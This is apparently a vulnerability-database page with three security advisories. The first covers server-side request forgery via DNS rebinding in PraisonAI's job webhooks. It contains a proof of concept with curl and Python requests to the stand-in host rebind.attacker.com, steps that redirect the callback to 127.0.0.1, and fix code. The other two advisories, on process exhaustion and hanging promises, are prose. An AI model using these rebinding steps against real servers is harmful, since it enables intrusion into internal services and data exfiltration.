req = JobSubmitRequest(\n prompt=\"hello\",\n webhook_url=\"http://rebind.attacker.com/callback\"\n )\n # No exception raised \u2014 URL accepted despite NXDOMAIN\n print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n # httpx resolves DNS here, not using any cached result from validation\n async with httpx.AsyncClient() as client:\n # This call resolves \"rebind.attacker.com\" fresh at runtime\n # If DNS changed since validation, it hits the new IP\n try:\n r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n except Exception as e:\n print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n# rebind.attacker.com \u2192 (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"prompt\": \"Calculate 2+2\",\n \"webhook_url\": \"http://rebind.attacker.com/callback\"\n }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n# rebind.attacker.com A 127.0.0.1 TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n# _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n# POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n pass\n\n# FIXED\nexcept socket.gaierror:\n raise ValueError(\n \"Webhook URL hostname could not be resolved. \"\n \"Ensure the hostname is valid and publicly reachable.\"\n )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n # Re-validate to prevent DNS rebinding\n try:\n from urllib.parse import urlparse\n import socket, ipaddress\n hostname = urlparse(job.webhook_url).hostname\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n return\n except Exception as e:\n logger.warning(f\"Webhook validation failed at execution: {e}\")\n return\n # ... proceed with httpx.post\n```",
"id": "GHSA-rg5q-pp8p-f7jm",
"modified": "2026-08-25T14:59:44Z",
"published": "2026-08-25T14:59:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}
GHSA-V4MW-VQW4-3CCH
Vulnerability from github – Published: 2026-11-30 00:30 – Updated: 2026-11-30 00:30Net::Server::HTTP versions through 2.018 for Perl allow process exhaustion via a forked child that returns to the accept loop when a trusted script dies in exec_trusted_perl.
exec_trusted_perl forks and the child loads the script with require. When the script dies before any header is sent, the child re-throws the error instead of exiting. The error unwinds into the request handler the child inherited from the worker, which sends a 500 response and returns to the accept loop. The child is now an extra worker that the server never forked, counts or signals, and it keeps running after the server is stopped.
Under the PreFork and Single server types, every request the script rejects with die adds one such process, past max_servers. Each extra worker inherits the failed require, so it fails later requests for that script and spawns another.
{
"affected": [],
"aliases": [
"CVE-2026-124301"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-30T00:17:58Z",
"severity": null
},
"details": "Net::Server::HTTP versions through 2.018 for Perl allow process exhaustion via a forked child that returns to the accept loop when a trusted script dies in exec_trusted_perl.\n\nexec_trusted_perl forks and the child loads the script with require. When the script dies before any header is sent, the child re-throws the error instead of exiting. The error unwinds into the request handler the child inherited from the worker, which sends a 500 response and returns to the accept loop. The child is now an extra worker that the server never forked, counts or signals, and it keeps running after the server is stopped.\n\nUnder the PreFork and Single server types, every request the script rejects with die adds one such process, past max_servers. Each extra worker inherits the failed require, so it fails later requests for that script and spawns another.",
"id": "GHSA-v4mw-vqw4-3cch",
"modified": "2026-11-30T00:30:31Z",
"published": "2026-11-30T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124301"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/BBB/Net-Server-2.018/source/lib/Net/Server/HTTP.pm"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/N/Net-Server/2.018/CVE-2026-124301-r1.patch"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VPQ2-C234-7XJ6
Vulnerability from github – Published: 2026-03-03 06:31 – Updated: 2026-05-21 16:55Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tootallnate/once"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@tootallnate/once"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3449"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:15:03Z",
"nvd_published_at": "2026-03-03T05:17:25Z",
"severity": "LOW"
},
"details": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
"id": "GHSA-vpq2-c234-7xj6",
"modified": "2026-05-21T16:55:49Z",
"published": "2026-03-03T06:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3449"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/issues/8"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a"
},
{
"type": "PACKAGE",
"url": "https://github.com/TooTallNate/once"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/once/releases/tag/v2.0.1"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.